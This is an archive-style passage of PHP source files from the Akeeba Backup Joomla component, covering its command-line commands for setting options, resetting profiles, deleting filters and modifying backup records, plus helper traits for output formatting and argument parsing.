	protected static $defaultName = 'akeeba:sysconfig:set';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$key     = (string) $this->cliInput->getArgument('key') ?? '';
		$value   = (string) $this->cliInput->getArgument('value') ?? '';
		$format  = (string) $this->cliInput->getOption('format') ?? 'table';
		$options = $this->getComponentOptions();

		if (!array_key_exists($key, $options))
		{
			$this->ioStyle->error(sprintf('Cannot find option “%s”.', $key));

			return 1;
		}

		if ((string) $options[$key] === $value)
		{
			return 0;
		}

		$container = Container::getInstance('com_akeeba');
		$container->params->set($key, $value);
		$container->params->save();

		// Make sure the front-end backup Secret Word is stored encrypted
		$params = $container->params;
		SecretWord::enforceEncryption($params, 'frontend_secret_word');

		$this->ioStyle->success(sprintf('Set component option “%s” to “%s”', $key, $value));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will set the value of an Akeeba Backup component-wide option.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addArgument('key', null, InputOption::VALUE_REQUIRED, 'The option key to set');
		$this->addArgument('value', null, InputOption::VALUE_REQUIRED, 'The option value to set');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: text, json, print_r, var_dunp, var_export.', 'text');

		$this->setDescription('Sets the value of an Akeeba Backup component-wide option');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/ProfileReset.php000060400000006527152455305260014134 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\Profiles;
use Akeeba\Engine\Platform;
use Exception;
use FOF40\Container\Container;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:reset
 *
 * Resets an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileReset extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:reset';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id            = (int) $this->cliInput->getArgument('id') ?? 0;
		$filters       = (bool) $this->cliInput->getOption('filters') ?? false;
		$configuration = (bool) $this->cliInput->getOption('configuration') ?? false;

		$container = Container::getInstance('com_akeeba');

		/** @var Profiles $model */
		$model = $container->factory->model('Profiles')->tmpInstance();

		try
		{
			$profile = $model->findOrFail($id);
		}
		catch (RecordNotLoaded $e)
		{
			$this->ioStyle->error(sprintf("Cannot modify profile %s; profile not found.", $id));

			return 1;
		}

		if ($filters)
		{
			$profile->filters = '';
		}

		if ($configuration)
		{
			$profile->configuration = '';
		}

		try
		{
			$newProfile = $profile->save();
		}
		catch (Exception $e)
		{
			$this->ioStyle->error(sprintf("Cannot reset profile #%s: %s", $id, $e->getMessage()));

			return 2;
		}

		/**
		 * Loading the new profile's empty configuration causes the Platform code to revert to the default options and
		 * save them automatically to the database.
		 */
		if ($configuration)
		{
			Platform::getInstance()->load_configuration($id);
		}

		$this->ioStyle->success(sprintf("Profile #%s reset successfully.", $newProfile->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will resets an Akeeba Backup profile.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputOption::VALUE_REQUIRED, 'The numeric ID of the profile to modify');
		$this->addOption('filters', null, InputOption::VALUE_NONE, 'Reset the filters?', false);
		$this->addOption('configuration', null, InputOption::VALUE_NONE, 'Reset the configuration?', false);

		$this->setDescription('Resets an Akeeba Backup profile');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/FilterDelete.php000060400000010531152455305260014067 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\FilterRoots;
use Akeeba\Backup\Admin\CliCommands\MixIt\IsPro;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:delete
 *
 * Delete a filter value known to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterDelete extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, IsPro, FilterRoots;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$filterType = (string) ($this->cliInput->getOption('filterType') ?? 'files');
		$target     = (in_array($filterType, [
			'tables', 'tabledata', 'regextables', 'regextabledata', 'multidb',
		])) ? 'db' : 'fs';
		$root       = (string) ($this->cliInput->getOption('root') ?? (($target == 'fs') ? '[SITEROOT]' : '[SITEDB]'));

		if (!in_array($root, $this->getRoots($target)))
		{
			$this->ioStyle->error(sprintf("Unknown %s root '%s'.", $target, $root));

			return 1;
		}

		$filter = (string) $this->cliInput->getArgument('filter') ?? '';

		$this->ioStyle->title(sprintf(
			'Deleting %s filter “%s” of type %s from profile #%d',
			$target === 'db' ? 'database' : 'filesystem',
			$filter,
			$filterType,
			$profileId
		));

		// Delete the filter
		$filterObject = Factory::getFilterObject($filterType);

		if ((stripos($filterType, 'regex') !== false) && !$this->isPro())
		{
			$this->ioStyle->error(sprintf("Filters of the '%s' type are only available with Akeeba Backup Professional.", $filterType));

			return 2;
		}

		switch ($filterType)
		{
			case 'extradirs':
			case 'multidb':
				if (!$this->isPro())
				{
					$this->ioStyle->error(sprintf("Filters of the '%s' type are only available with Akeeba Backup Professional.", $filterType));

					return 2;
				}

				$success = $filterObject->remove($filter);
				break;

			default:
				$success = $filterObject->remove($root, $filter);
				break;
		}

		if (!$success)
		{
			$this->ioStyle->error(sprintf("Could not delete filter '%s' of type '%s'.", $filter, $filterType));

			return 3;
		}

		Factory::getFilters()->save();

		$this->ioStyle->success(sprintf("Deleted filter '%s' of type '%s'.", $filter, $filterType));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will delete a filter value known to Akeeba Backup.
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('filter', InputArgument::REQUIRED, 'The filter name to delete');
		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, 'Which filter root to use. Defaults to [SITEROOT] or [SITEDB] depending on the fitler type.', '');
		$this->addOption('filterType', null, InputOption::VALUE_REQUIRED, 'The type of filter you want to delete: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb', 'files');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, 'The backup profile to use. Default: 1.', 1);


		$this->setDescription('Delete a filter value known to Akeeba Backup.');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/MixIt/IsPro.php000060400000001477152455305260013616 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Is this Akeeba Backup Pro?
 *
 * @since   7.5.0
 */
trait IsPro
{
	/**
	 * Caches whether this is the Pro version of the software.
	 *
	 * @var   null|bool
	 * @since 7.5.0
	 */
	private $isPro = null;

	/**
	 * is this the Professional version of the software?
	 *
	 * @return  bool
	 * @since   7.5.0
	 */
	private function isPro(): bool
	{
		if (!is_null($this->isPro))
		{
			return $this->isPro;
		}

		$componentFolder = JPATH_ADMINISTRATOR . '/components/com_akeeba';
		$this->isPro     = is_dir($componentFolder . '/AliceEngine');

		return $this->isPro;
	}
}
com_akeeba/CliCommands/MixIt/FilterRoots.php000060400000002115152455305260015024 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Backup\Admin\Model\DatabaseFilters;
use Akeeba\Engine\Factory;
use FOF40\Container\Container;

trait FilterRoots
{
	/**
	 * @param   string  $target
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function getRoots(string $target): array
	{
		$container = Container::getInstance('com_akeeba', [], 'admin');
		$filters   = Factory::getFilters();
		$output    = [];

		switch ($target)
		{
			case 'fs':
				$rootInfo = $filters->getInclusions('dir');

				foreach ($rootInfo as $item)
				{
					$output[] = $item[0];
				}

				break;

			case 'db':
				/** @var DatabaseFilters $model */
				$model    = $container->factory->model('DatabaseFilters')->tmpInstance();
				$rootInfo = $model->get_roots();

				foreach ($rootInfo as $item)
				{
					$output[] = $item->value;
				}

				break;
		}

		return $output;
	}

}
com_akeeba/CliCommands/MixIt/JsonGuiDataParser.php000060400000010626152455305260016103 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;

trait JsonGuiDataParser
{
	/**
	 * Parse the JSON GUI definition returned by Akeeba Engine into something I can use to provide information about
	 * the options.
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function parseJsonGuiData(): array
	{
		$jsonGUIData = Factory::getEngineParamsProvider()->getJsonGuiDefinition();
		$guiData     = json_decode($jsonGUIData, true);

		$ret = [
			'engines'    => [],
			'installers' => [],
			'options'    => [],
		];

		// Parse engines
		foreach ($guiData['engines'] as $engineType => $engineRecords)
		{
			if (!isset($ret['engines'][$engineType]))
			{
				$ret['engines'][$engineType] = [];
			}

			foreach ($engineRecords as $engineName => $record)
			{
				$ret['engines'][$engineType][$engineName] = [
					'title'       => $record['information']['title'],
					'description' => $record['information']['description'],
				];

				foreach ($record['parameters'] as $key => $optionRecord)
				{
					$ret['options'][$key] = array_merge($optionRecord, [
						'section' => $record['information']['title'],
					]);
				}
			}
		}

		// Parse installers
		foreach ($guiData['installers'] as $installerName => $installerInfo)
		{
			$ret['installers'][$installerName] = $installerInfo['name'];
		}

		// Parse GUI sections
		foreach ($guiData['gui'] as $section => $options)
		{
			foreach ($options as $key => $optionRecord)
			{
				$ret['options'][$key] = array_merge($optionRecord, [
					'section' => $section,
				]);
			}
		}

		return $ret;
	}

	/**
	 * Flattens the option tree returned by exportToJson into an array with dotted notation for each option.
	 *
	 * @param   array   $rawOptions  The option tree
	 * @param   string  $prefix      Current prefix, used for recursion
	 *
	 * @return  array
	 * @since   7.5.0
	 */
	private function flattenOptions(array $rawOptions, string $prefix = ''): array
	{
		$ret = [];

		foreach ($rawOptions as $k => $v)
		{
			if (is_array($v))
			{
				$ret = array_merge($ret, $this->flattenOptions($v, $prefix . $k . '.'));

				continue;
			}

			$ret[$prefix . $k] = $v;
		}

		return $ret;
	}

	/**
	 * Get the information for an option record.
	 *
	 * @param   string  $key   The option key
	 * @param   array   $info  The array returned by parseJsonGuiData
	 *
	 * @return  array
	 *
	 * @since   7.5.0
	 */
	private function getOptionInfo(string $key, array &$info): array
	{
		$ret = [];

		if (!isset($info['options'][$key]))
		{
			return $ret;
		}

		$keyInfo = $info['options'][$key];

		$ret = [
			'title'        => $keyInfo['title'],
			'description'  => $keyInfo['description'],
			'section'      => $keyInfo['section'],
			'type'         => $keyInfo['type'],
			'default'      => $keyInfo['default'],
			'options'      => [],
			'optionTitles' => [],
			'limits'       => [],
		];

		switch ($keyInfo['type'])
		{
			case 'integer':
				if (isset($keyInfo['shortcuts']))
				{
					$ret['options'] = explode('|', $keyInfo['shortcuts']);
				}

				$ret['limits'] = [
					'min' => $keyInfo['min'],
					'max' => $keyInfo['max'],
				];
				break;

			case 'bool':
				$ret['type']    = 'integer';
				$ret['options'] = [0, 1];
				$ret['limits']  = [
					'min' => 0,
					'max' => 1,
				];
				break;

			case 'engine':
				$ret['type']         = 'enum';
				$ret['type']         = 'string';
				$ret['options']      = array_keys($info['engines'][$keyInfo['subtype']]);
				$ret['optionTitles'] = [];

				foreach ($info['engines'][$keyInfo['subtype']] as $k => $details)
				{
					$ret['optionTitles'][$k] = $details['title'];
				}

				break;

			case 'installer':
				$ret['type']         = 'enum';
				$ret['type']         = 'string';
				$ret['options']      = array_keys($info['installers']);
				$ret['optionTitles'] = $info['installers'];

				break;

			case 'enum':
				$ret['type']         = 'string';
				$ret['options']      = explode('|', $keyInfo['enumvalues']);
				$ret['optionTitles'] = explode('|', $keyInfo['enumkeys']);

				break;

			case 'hidden':
			case 'button':
			case 'separator':
				$ret['type'] = 'hidden';
				break;

			case 'string':
			case 'browsedir':
			case 'password':
			default:
				$ret['type'] = 'string';
				break;
		}

		return $ret;
	}

}
com_akeeba/CliCommands/MixIt/PrintFormattedArray.php000060400000005441152455305260016516 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;


trait PrintFormattedArray
{
	/**
	 * Prints the array formatted with the specific format and returns an integer result
	 *
	 * @param   array   $data    The data to format and print
	 * @param   string  $format  One of table, json, yaml, csv, count
	 *
	 * @return  int
	 * @since   7.5.0
	 */
	private function printFormattedAndReturn(?array $data, string $format): int
	{
		if (empty($data) && ($format != 'count'))
		{
			return 0;
		}
		elseif (empty($data))
		{
			$data = [];
		}

		if (!empty($data))
		{
			$keys     = array_keys($data);
			$firstKey = array_shift($keys);
			$row      = $data[$firstKey];

			if (is_array($row))
			{
				$headers = array_keys($row);
			}
			else
			{
				$headers = array_keys($data);

				if (!in_array($format, ['json', 'yaml']))
				{
					$data = [$data];
				}
			}
		}

		switch ($format)
		{
			default:
			case 'table':
				$this->ioStyle->table($headers, $data);
				break;

			case 'json':
				$this->ioStyle->writeln(json_encode($data, JSON_PRETTY_PRINT));
				break;

			case 'yaml':
				if (!function_exists('yaml_emit'))
				{
					$this->ioStyle->error(<<< ERROR
Cannot generate YAML

Your PHP installation does not have the PHP YAML extension installed or enabled.

ERROR

					);

					return 1;
				}

				$this->ioStyle->writeln(yaml_emit($data));
				break;

			case 'csv':
				$this->ioStyle->writeln($this->toCsv($data));
				break;

			case 'count':
				$this->ioStyle->writeln(count($data));
				break;
		}

		return 0;
	}

	/**
	 * Converts an array to its CSV representation
	 *
	 * @param   array  $data       The array data to convert to CSV
	 * @param   bool   $csvHeader  Should I print a CSV header row?
	 *
	 * @return  string
	 * @since   7.5.0
	 */
	private function toCsv(array $data, bool $csvHeader = true): string
	{
		$output = '';
		$item   = array_pop($data);
		$data[] = $item;
		$keys   = array_keys($item);

		if ($csvHeader)
		{
			$csv = [];

			foreach ($keys as $k)
			{
				$k = str_replace('"', '""', $k);
				$k = str_replace("\r", '\\r', $k);
				$k = str_replace("\n", '\\n', $k);
				$k = '"' . $k . '"';

				$csv[] = $k;
			}

			$output .= implode(",", $csv) . "\r\n";
		}

		foreach ($data as $item)
		{
			$csv = [];

			foreach ($keys as $k)
			{
				$v = $item[$k];

				if (is_array($v))
				{
					$v = 'Array';
				}
				elseif (is_object($v))
				{
					$v = 'Object';
				}

				$v = str_replace('"', '""', $v);
				$v = str_replace("\r", '\\r', $v);
				$v = str_replace("\n", '\\n', $v);
				$v = '"' . $v . '"';

				$csv[] = $v;
			}

			$output .= implode(",", $csv) . "\r\n";
		}

		return $output;
	}
}
com_akeeba/CliCommands/MixIt/ComponentOptions.php000060400000002505152455305260016071 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;

trait ComponentOptions
{
	private function getComponentOptions(bool $defaultValuesOnly = false): array
	{
		$output     = [];
		$fieldNames = [];

		$form = new Form('config');
		$form->loadFile(JPATH_ADMINISTRATOR . '/components/com_akeeba/config.xml', true, '//config');

		foreach ($form->getFieldsets() as $group => $fieldSetInfo)
		{
			$fields = $form->getFieldset($group);

			if (empty($fields))
			{
				continue;
			}

			foreach ($fields as $fieldName => $v)
			{
				if (!is_object($v) || !($v instanceof FormField))
				{
					continue;
				}

				if (substr((string) $v->type, -5) === 'Rules')
				{
					continue;
				}

				if (in_array(strtolower((string) $v->type), ['hidden', 'rules', 'spacer']))
				{
					continue;
				}

				$fieldNames[$fieldName] = $v->value ?? null;
			}
		}

		if (!$defaultValuesOnly)
		{
			foreach ($fieldNames as $k => $default)
			{
				$output[$k] = Platform::getInstance()->get_platform_configuration_option($k, $default);
			}
		}

		return $output;
	}
}
com_akeeba/CliCommands/MixIt/ConfigureIO.php000060400000002036152455305260014723 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

/**
 * Set up the Symfony I/O objects
 *
 * @since   7.5.0
 */
trait ConfigureIO
{
	/**
	 * @var   SymfonyStyle
	 * @since 7.5.0
	 */
	private $ioStyle;

	/**
	 * @var   InputInterface
	 * @since 7.5.0
	 */
	private $cliInput;

	/**
	 * Configure the IO.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	private function configureSymfonyIO(InputInterface $input, OutputInterface $output)
	{
		$this->cliInput = $input;
		$this->ioStyle  = new SymfonyStyle($input, $output);
	}

}
com_akeeba/CliCommands/MixIt/TimeInfo.php000060400000004257152455305260014273 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to get time information
 *
 * @since   7.5.0
 */
trait TimeInfo
{
	/**
	 * Returns a fancy formatted time lapse code
	 *
	 * @param   integer   $referenceDateTime  Timestamp of the reference date/time
	 * @param   int|null  $currentDateTime    Timestamp of the current date/time
	 * @param   string    $measureBy          One of s, m, h, d, or y (time unit)
	 * @param   boolean   $autoText           Append text automatically?
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function timeAgo(int $referenceDateTime = 0, ?int $currentDateTime = null, string $measureBy = '', bool $autoText = true): string
	{
		if (is_null($currentDateTime))
		{
			$currentDateTime = time();
		}

		// Raw time difference
		$raw   = $currentDateTime - $referenceDateTime;
		$clean = abs($raw);

		$calcNum = [
			['s', 60],
			['m', 60 * 60],
			['h', 60 * 60 * 60],
			['d', 60 * 60 * 60 * 24],
			['y', 60 * 60 * 60 * 24 * 365],
		];

		$calc = [
			's' => [1, 'second'],
			'm' => [60, 'minute'],
			'h' => [60 * 60, 'hour'],
			'd' => [60 * 60 * 24, 'day'],
			'y' => [60 * 60 * 24 * 365, 'year'],
		];

		if ($measureBy == '')
		{
			$usemeasure = 's';

			for ($i = 0; $i < count($calcNum); $i++)
			{
				if ($clean <= $calcNum[$i][1])
				{
					$usemeasure = $calcNum[$i][0];
					$i          = count($calcNum);
				}
			}
		}
		else
		{
			$usemeasure = $measureBy;
		}

		$datedifference = floor($clean / $calc[$usemeasure][0]);

		if ($autoText == true && ($currentDateTime == time()))
		{
			if ($raw < 0)
			{
				$prospect = ' from now';
			}
			else
			{
				$prospect = ' ago';
			}
		}
		else
		{
			$prospect = '';
		}

		if ($referenceDateTime != 0)
		{
			if ($datedifference == 1)
			{
				return $datedifference . ' ' . $calc[$usemeasure][1] . ' ' . $prospect;
			}
			else
			{
				return $datedifference . ' ' . $calc[$usemeasure][1] . 's ' . $prospect;
			}
		}
		else
		{
			return 'No input time referenced.';
		}
	}
}
com_akeeba/CliCommands/MixIt/ArgumentUtilities.php000060400000002173152455305260016232 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to manage command arguments
 *
 * @since   7.5.0
 */
trait ArgumentUtilities
{
	/**
	 * Parse the overrides provided in the command line.
	 *
	 * Input: "key1=value1, key2= value2, key3 = value3"
	 * Output: ['key1' => 'value1', 'key2' => 'value2', 'key3' => 'value3']
	 *
	 * @param   string  $rawString  The raw string
	 *
	 * @return  array  The parsed overrides
	 *
	 * @since   7.5.0
	 */
	private function commaListToMap(string $rawString): array
	{
		if (empty($rawString) || (trim($rawString) == ''))
		{
			return [];
		}

		$rawString = trim($rawString);
		$ret       = [];
		$lines     = explode($rawString, ",");

		foreach ($lines as $line)
		{
			if (strpos($line, '=') === false)
			{
				continue;
			}

			[$key, $value] = explode('=', $line);
			$key       = trim($key);
			$value     = trim($value);
			$ret[$key] = $value;
		}

		return $ret;
	}
}
com_akeeba/CliCommands/MixIt/MemoryInfo.php000060400000002175152455305260014642 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands\MixIt;

defined('_JEXEC') || die;

/**
 * Utility methods to get memory information
 *
 * @since   7.5.0
 */
trait MemoryInfo
{
	/**
	 * Returns the current memory usage
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function memUsage(): string
	{
		if (function_exists('memory_get_usage'))
		{
			$size = memory_get_usage();
			$unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];

			return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
		}
		else
		{
			return "(unknown)";
		}
	}

	/**
	 * Returns the peak memory usage
	 *
	 * @return  string
	 *
	 * @since   7.5.0
	 */
	private function peakMemUsage(): string
	{
		if (function_exists('memory_get_peak_usage'))
		{
			$size = memory_get_peak_usage();
			$unit = ['b', 'KB', 'MB', 'GB', 'TB', 'PB'];

			return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
		}
		else
		{
			return "(unknown)";
		}
	}
}
com_akeeba/CliCommands/SysconfigList.php000060400000004447152455305260014330 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ComponentOptions;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Akeeba\Backup\Admin\CliCommands\MixIt\PrintFormattedArray;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:list
 *
 * Lists the Akeeba Backup component-wide options
 *
 * @since   7.5.0
 */
class SysconfigList extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities, PrintFormattedArray, ComponentOptions;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:sysconfig:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$format = (string) $this->cliInput->getOption('format') ?? 'table';
		$output = $this->getComponentOptions();

		if (in_array($format, ['table', 'csv']))
		{
			$temp = [];

			foreach ($output as $k => $v)
			{
				$temp[] = [
					'key'   => $k,
					'value' => $v,
				];
			}

			$output = $temp;
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will list the Akeeba Backup component-wide options.
		\nUsage: <info>php %command.full_name%</info>";


		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, 'Output format: table, json, yaml, csv, count.', 'table');

		$this->setDescription('Lists the Akeeba Backup component-wide options');
		$this->setHelp($help);
	}
}
com_akeeba/CliCommands/BackupModify.php000060400000006237152455305260014104 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\Console\Command\AbstractCommand;
use Akeeba\Backup\Admin\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Backup\Admin\CliCommands\MixIt\ConfigureIO;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:modify
 *
 * Modifies a backup record known to Akeeba Backup
 *
 * @since   7.5.0
 */
class BackupModify extends AbstractCommand
{
	use ConfigureIO, ArgumentUtilities;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:modify';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		$id          = (int) $this->cliInput->getArgument('id') ?? 0;
		$description = $this->cliInput->getOption('description');
		$comment     = $this->cliInput->getOption('comment');

		$this->ioStyle->title(sprintf('Modifying Akeeba Backup record #%d', $id));

		if ($id <= 0)
		{
			$this->ioStyle->error('Invalid backup record');

			return 1;
		}

		if (is_null($description) && is_null($comment))
		{
			$this->ioStyle->error('You must specify one or both of --description and --comment');

			return 2;
		}

		$record = Platform::getInstance()->get_statistics($id);

		if (empty($record))
		{
			$this->ioStyle->error('Invalid backup record');

			return 1;
		}

		if (!is_null($description))
		{
			$record['description'] = (string) $description;
		}

		if (!is_null($comment))
		{
			$record['comment'] = (string) $comment;
		}

		$result = Platform::getInstance()->set_or_update_statistics($id, $record);

		if ($result === false)
		{
			$this->ioStyle->error(sprintf('Cannot modify backup record #%d', $id));

			return 3;
		}

		$this->ioStyle->success(sprintf('Backup record #%d has been modified.', $id));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$help = "<info>%command.name%</info> will modify a backup record known to Akeeba Backup
		\nUsage: <info>php %command.full_name%</info>";

		$this->addArgument('id', InputArgument::REQUIRED, 'The id of the backup record to modify');
